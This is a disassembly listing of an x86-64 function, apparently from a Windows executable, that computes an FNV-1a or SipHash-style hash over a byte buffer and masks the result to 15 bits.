mov r9, qword [rsi + 0x10]
test r9, r9
je 0x1400a47a8
mov rcx, qword [rsi + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x1400a4733
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x1400a45f0
cmp r9, 8
jae 0x1400a473c
jmp 0x1400a47a8
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.1400ac0b0
mov rax, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, r9
mov r8, qword [rsp + 0x30]
add r8, rax
mov rdx, qword [rsp + 0x38]
add rdx, rcx
rol rax, 0xd
xor rax, r8
rol rcx, 0x10
rol r8, 0x20
xor rcx, rdx
add rdx, rax
rol rax, 0x11
add r8, rcx
xor rax, rdx
rol rcx, 0x15
xor rcx, r8
rol rdx, 0x20
xor r8, r9
xor rdx, 0xff
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
shl rcx, 0x10
xor rcx, rdx
add rdx, rax
shr rax, 0x2f
shr rcx, 0x2b
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x1400a47a8
movzx edx, byte [rsi + 8]
xor rax, rdx
imul rax, rcx
jmp 0x1400a47a8
mov r8, rcx
cmp r9, 8
jb 0x1400a47a8
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x1400a4740
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret